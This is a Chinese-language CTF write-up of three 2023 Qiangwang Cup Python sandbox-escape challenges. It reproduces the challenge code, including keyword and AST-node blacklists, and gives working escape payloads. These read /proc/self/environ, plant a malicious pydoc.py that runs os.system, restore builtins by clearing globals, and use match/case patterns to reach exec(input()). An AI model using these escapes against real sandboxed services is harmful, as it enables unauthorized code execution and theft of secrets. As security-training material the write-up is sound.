2023 强网杯三道 pyjail 的题解

上周的强网杯 2023 没准备参加,一个是去年帮忙打 ctf 打得实在是有点累了;第二个是上周末有其他比赛冲突了,所以也没时间看题。偶然在公众号推送上看到了强网杯的 wp 提到了有几道 python 题,还是忍不住来玩一玩。

不确定有没有遗漏,好像一共是三道 python 题目,并且都是 pyjail 类型的。自从上次我写了那篇《Python 沙箱逃逸的通解探索之路》之后,感觉很多同类题目都可以秒了,似乎一直都没有更极限的题目出现了,这次不妨一起来看看这次强网杯会不会让人眼前一亮呢。

Pyjail: It's myFILTER!!!

题目代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import code, os, subprocess
import pty


def blacklist_fun_callback(*args):
print("Player! It's already banned!")


pty.spawn = blacklist_fun_callback
os.system = blacklist_fun_callback
os.popen = blacklist_fun_callback
subprocess.Popen = blacklist_fun_callback
subprocess.call = blacklist_fun_callback
code.interact = blacklist_fun_callback
code.compile_command = blacklist_fun_callback

vars = blacklist_fun_callback
attr = blacklist_fun_callback
dir = blacklist_fun_callback
getattr = blacklist_fun_callback
exec = blacklist_fun_callback
__import__ = blacklist_fun_callback
compile = blacklist_fun_callback
breakpoint = blacklist_fun_callback

del os, subprocess, code, pty, blacklist_fun_callback
input_code = input("Can u input your code to escape > ")

blacklist_words = ['subprocess', 'os', 'code', 'interact', 'pty', 'pdb', 'platform', 'importlib', 'timeit', 'imp', 'commands', 'popen', 'load_module', 'spawn', 'system', '/bin/sh', '/bin/bash', 'flag', 'eval', 'exec', 'compile', 'input', 'vars', 'attr', 'dir', 'getattr', '__import__', '__builtins__', '__getattribute__', '__class__', '__base__', '__subclasses__', '__getitem__', '__self__', '__globals__', '__init__', '__name__', '__dict__', '._module', 'builtins', 'breakpoint', 'import']

def my_filter(input_code):
for x in blacklist_words:
if x in input_code:
return False
return True

while (
"{" in input_code and "}" in input_code and input_code.isascii() and my_filter(input_code) and "eval" not in input_code and len(input_code) < 65
):
input_code = eval(f"f'{input_code}'")
else:
print("Player! Please obey the filter rules which I set!")

这道题常规的解法是比较简单的,一眼扫过去,基础 exp 的 open 不在过滤列表里,那当然是先尝试读一下当前目录、根目录、环境变量之类的看看有没有 flag 再说。至于回显嘛,由于我没实际在官方环境中测试,这个代码看起来像是可以直接 nc 过去做的,如果是这样的话,那利用报错或者是直接 print 结果其实都可以的。看了下网上的 wp,证明 flag 的确是在环境变量里,所以 exp 就是:{print(open("/proc/self/environ").read())}。如果是在比赛的话,到这里就结束了,赶紧下一道吧。

但作为黑客,实现 RCE 是永远的诱惑。这道题莫非只能读文件么?

分析

我们先来分析一下这里的限制条件:

(做的过程中发现出题人在写 blacklist_words 的时候,"getattr" "__import__", 之间漏了一个 ,,这直接导致 blacklist_words 中没有 getattr__import__,不知道是不是故意的,不过这里我们就当这里有逗号好了。)

内置模块的方法劫持

首先,由于 os.system 等内置模块的方法被劫持到 blacklist_fun_callback 了,所以即使我们 exp 中可以 import os,拿到的 os.system 也依旧是 blacklist_fun_callback,原因在于橘友们小学 5 年级就知道的 Python 模块导入的缓存机制。为了确保模块单例以及支持模块重用机制,在执行 import 的时候,如果模块是第一次导入,python 会在导入模块的同时把模块名称保存在 sys.modules 这个字典里;如果在导入模块的时候发现它已经在这个字典里了,就会直接返回 sys.modules 中模块对应的值。在这个缓存机制的影响下,题目中修改了众多内置模块的方法,比如 subprocess.Popen,那就意味着后续所有代码中间接使用到的 subprocess.Popen 也会被劫持。例如,橘友们小学 5 年级就知道 help() 可以用来做 python 沙箱逃逸,原因是因为背后执行了 more,在 more 里可以用 ! 来执行任意命令,比如 !id。但可能少为人知的是,help() 背后是 pydoc,在 pydoc.py 中使用了 subprocess.Popen 或者 os.system(win 平台)

如果要解决这个问题,最简单的方式就是删除 sys.modules 中的 subprocess,然后重新 import 一次。

内置函数劫持

vars 等内置方法也被劫持到 blacklist_fun_callback 了。但这里与上面不同,这个修改并不会影响其他模块的 vars。因为 python 查找变量的顺序是 LEGB 法则,因此 vars 变量的顺序是先从本地命名空间开始,然后是包含它的模块的命名空间,最后是内置命名空间。由于其他模块中没有局部或模块级别的 vars 定义,所以它们内部会使用 __builtins__ 中的原始 vars 函数。如果我们想对内置函数做与上面相同的劫持,应该使用 __builtins__.vars = blacklist_fun_callback

如果想在当前上下文中恢复这些内置函数,只需要清空 locals() 或者 globals() 即可(这里它们是一个东西,因为我们的 exp 是在模块层级上执行的,因此 locals()globals() 是同一个字典),这样一来,python 按照 LEGB 法则就会找到 B 的 vars。

其他

这些相对比较常规:

  • exp 中不能出现 blacklist_words 的所有关键字
  • eval 不能出现在 exp 里
  • exp 所有字符必须全部为 ascii 码
  • exp 长度最长为 64

思路 1:常规沙箱逃逸

我们注意到代码中 eval(f"f'{input_code}'") 使用了两层 f-string,不但本身可以直接执行任意代码,也可以通过单引号来进行代码注入。这就意味着直接通过 {eval("1+1")} 来执行任意代码,但由于 blacklist_words 的限制,所以通常会想到用 Unicode 变量名,但是 while 里做了限制,此路不通;还有就是搞一个字符串出来做分隔,例如 f'{ev''al("1+1")}',但这也有新的问题,我们为了生成 eval,又加入了 f-string,而 f-string 中如果用到 {},则字符串必须是连续的,例如 f'{1*' + f'1}' 是会报错的。

加上其他条件的严格限制(尤其是长度和对方法进行劫持),常规沙箱逃逸的 payload 均宣告出局。同时,我也用之前写的自动化挖掘工具跑了一下,发现的确找不到:

到这里就应该换个思路了。

思路 2:覆盖模块

虽然我们没有办法直接 import,但是通过执行内置的一些函数可以实现间接执行 import。上面提到,help() 由于 subprocess.Popen 被劫持导致无法正常执行,其实这里我们也可以用这个思路,经过代码分析,在 python 的 /lib/python3.9/_sitebuiltins.py 中发现有 import pydoc

而 open 又不受限制,这就意味我们只需要在执行目录下创建一个 pydoc.py,往里面写要执行的代码即可实现任意代码执行,也就意味着实现了 RCE:

1
2
3
4
5
6
7
8
9
10
11
# 首先创建文件并覆盖内容,第一批写入文件内容为
# __import__("importlib"
''{open("pydoc.py","w").write('__im''port__("im''portlib"')}''

# 继续写入
# ).reload(__import__("os"
''{open("pydoc.py","a").write(').reload(__im''port__("o''s"')}''

# 继续写入
# )).system("whoami")
''{open("pydoc.py","a").write(')).sys''tem("whoami")')}''

pydoc.py 写入完毕之后,再次运行题目代码,只需要输入 {help()} 即可执行设定好的代码:

至此,我们实现了 RCE。至于 pydoc.py 内容怎么写,玩法就很多了,这里不展开了。

思路 3:利用循环+覆盖函数

如果 open 也无法使用呢?

由于题目中使用了 while,因此 eval 生成的值又会被赋给 input_code 重新参与 eval,那如果我们在第一轮循环中只要操作得当,就可以用一行输入来影响第二轮循环中 while 的判断,同时把最终 exp 传递给第二轮循环的 eval。

  1. "{" in input_code and "}" in input_code
  2. input_code.isascii()
  3. my_filter(input_code)
  4. "eval" not in input_code
  5. len(input_code) < 650

我们先来分析一下:

  • 条件 1、2、4 都是无能为力的,因为 input_code 作为内建类型,魔术方法(.__contains__)由于是由 Python 解释器在底层实现的,因此是不允许修改的。
  • 条件 3、5 我们可以动手脚,my_filterlen 都可以覆盖,需要一个参数,并且返回值必须为 True

所以,在第一轮的 exp 里我们需要把 globals() 清空,然后再把 my_filter 加上,最后利用题目中的 eval 来返回第二轮的 exp。那么问题来了,第二轮的 exp 应该是什么呢?

在第二轮的时候,经过第一轮的 eval,就只需要满足条件 1、2、4 即可,并且由于我们清空了 globals(),导致内置函数都恢复了,可谓是一箭双雕。这样我们就可以用 exec(input()) 来执行任意代码了。

由于第一轮 eval 必须返回字符串(主要是条件 2 的限制),所以我们可以用一个列表之类的东西来同时执行代码和返回需要的 exp(这个技巧其实之前也介绍过了):

1
2
3
4
5
6
7
8
9
10
11
'''
{
(
"{exec(input())}",
globals().clear(),
globals().update({"my_filter": id})
)[0]
}
'''

{("{ex""ec(in""put())}",globals().clear(),globals().update({"my_filter":id}))[0]}

蛮吊蛮吊,但是长度太长了,81 个字符,距离 64 个字符还有点距离,因此我们尝试来缩短长度。

  • 首先 globals()locals() 在这里是等价的,但后者少一个字符,换!
  • 其次 "{ex""ec(in""put())}" 可以换成 {"{break""point()}"}
  • 只要返回字符串,不一定就得用列表或者元组,用条件表达式也可以,比如 or

于是可以得到一个长度为 74、73 的 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
'''
{
locals().clear() or
locals().update({"my_filter": id}) or
"{break""point()}"
}
'''

# len == 74
{locals().clear()or locals().update({"my_filter":id})or"{break""point()}"}

# len == 73
{",break""point()#{}",locals().clear(),locals().update({"my_filter":id})}

感觉这个长度已经是极限了。然后我突然意识到,出题人为了避免自身代码受到影响,并没有劫持所有高危的内置函数,比如 eval,所以我又搞了个符合长度要求但是不满足条件的 exp:{["{ev""al(print(1))}",locals().update({"my_filter":id})][0]},因为第二轮 exp 中会出现 eval,而出题人在 while 里特别关照了 eval。那么还有哪些内置函数,出题人没有为了保障题目自身不出问题而没有劫持呢?答案就是 input()

在第二轮里我们可以通过 input 来引入额外的输入,输入的时候再引入 {},从而通过内层的 f-string 以及配合外层的 eval 进行代码执行。这样第二轮执行的原型为:

继续倒推回去第一轮,由于 input 没有被劫持,所以连 locals().clear() 也可以省略,因此 exp 长度就可以大幅缩减:

1
2
3
4
5
6
7
8
9
10
'''
{
(
"{input()}",
locals().update({"my_filter": id})
)[0]
}
'''

{locals().update({"my_filter":id})or"{in""put()}"}

长度仅为 50!蛮吊蛮吊。

至此,我们不用写文件,也可以实现任意命令执行。

Pyjail: It's myRevenge !!!

肉眼扫了下,好像和原来的没啥大区别。经过 diff 发现,作者修复了缺少逗号的问题:

但别的都没变。所以我猜测出题人这里可能对 flag 的位置做了调整,从环境变量中移动到其他未知文件名的文件去了。那这里还是要 rce 嘛,上面已经实现了,哈哈哈,所以这里就不再看了。

Pyjail: It's myAST !!!!

题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import ast

BAD_ATS = {
ast.Attribute,
ast.Subscript,
ast.comprehension,
ast.Delete,
ast.Try,
ast.For,
ast.ExceptHandler,
ast.With,
ast.Import,
ast.ImportFrom,
ast.Assign,
ast.AnnAssign,
ast.Constant,
ast.ClassDef,
ast.AsyncFunctionDef,
}

BUILTINS = {
"bool": bool,
"set": set,
"tuple": tuple,
"round": round,
"map": map,
"len": len,
"bytes": bytes,
"dict": dict,
"str": str,
"all": all,
"range": range,
"enumerate": enumerate,
"int": int,
"zip": zip,
"filter": filter,
"list": list,
"max": max,
"float": float,
"divmod": divmod,
"unicode": str,
"min": min,
"range": range,
"sum": sum,
"abs": abs,
"sorted": sorted,
"repr": repr,
"object": object,
"isinstance": isinstance,
}


def is_safe(code):
if type(code) is str and "__" in code:
return False

for x in ast.walk(compile(code, "<QWB7th>", "exec", flags=ast.PyCF_ONLY_AST)):
if type(x) in BAD_ATS:
return False

return True


if __name__ == "__main__":
user_input = ""
while True:
line = input()
if line == "":
break
user_input += line
user_input += "\n"

if is_safe(user_input) and len(user_input) < 1800:
exec(user_input, {"__builtins__": BUILTINS}, {})

老规矩先分析下限制:

  1. "__" 不能出现在代码里
  2. 通过 ast 检查代码的抽象语法树,黑名单位于 BAD_ATS
  3. 通过指定 exec 的第二个参数,将代码执行的 globals() 重置为只有个 __builtins__,并将具体的内置方法指定为 BUILTINS 的值

第一个条件有绕过的可能性,用 Unicode 字符 __。第二个条件是无法正面绕过的,因为 ast 本身就是 python 执行过程中的中间产物,只能说看看有没有出题人没覆盖到的 ast 节点然后再利用;第三个条件,如果可以访问到非当前模块的命名空间,就可以拿到正常的内置方法了,但是必须的获取属性,或者用 Subscript 之类做替代,但这都被禁用了。。。

所以常规的沙箱逃逸 exp 可以说是都被堵死了。

翻阅了下官方文档:https://docs.python.org/zh-cn/3/library/ast.html

看起来除了 match 相关的语法之外,没有其他能用的东西了。但是这个是在 py3.10 中引入的,我不确定大家做题的时候出题人是否有提示所用的 python 版本,我这没有环境尝试所以也判断不了,这里权当出题人是这么出的吧。

根据 pep 里的示例 https://peps.python.org/pep-0636/#abstract

可以得知两个关键的知识点:

  1. 可以通过指定关键字参数来获取 match 的属性
  2. 匹配的逻辑是判断 match 是否为 case 的子类

通过知识点 1,就可以获取参数了!比如 object.__subclasses__ 就可以通过

1
2
3
match object:
case object(__subclasses__=a):
print(a)

来获取。以此类推,那这题就变成了常规的沙箱逃逸了。由于出题人限制了代码长度,因此我们可以用 dibber 来找一个比较短的继承链,比如:

那么对于 exp object.__subclasses__()[122].append.__globals__['__builtins__'] 就可以变形为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# object.__subclasses__()[122].append.__globals__['__builtins__']
match object:
case object(__subclasses__=a):
# a: object.__subclasses__
pass

match a():
case list(pop=p):
# p: object.__subclasses__().pop
pass

match p(int( str(len([[]]))+str(len(str(dict(oooooooooooooo=())))) )):
case object(append=m):
# m: object.__subclasses__()[122].append
pass

match m:
case object(__globals__=g):
# m: object.__subclasses__()[122].append.__globals__
pass

match g:
case object(__getitem__=p):
pass

match p(max(list(dict(__builtins__=())))):
case object(__getitem__=q):
# 本质上执行的是 exec(input())
q(max(list(dict(exec=()))))(q(max(list(dict(input=()))))(), p(max(list(dict(__builtins__=())))))

进而实现命令执行:

完结撒花。这三道题的整体难度不算很高。


这应该是今年最后一篇文章了
时间过得真快!
提前祝橘友们元旦快乐了嗷


2023 强网杯三道 pyjail 的题解
https://www.tr0y.wang/2023/12/22/qwb2023-pyjail/
作者
Tr0y
发布于
2023年12月22日
更新于
2024年6月3日
许可协议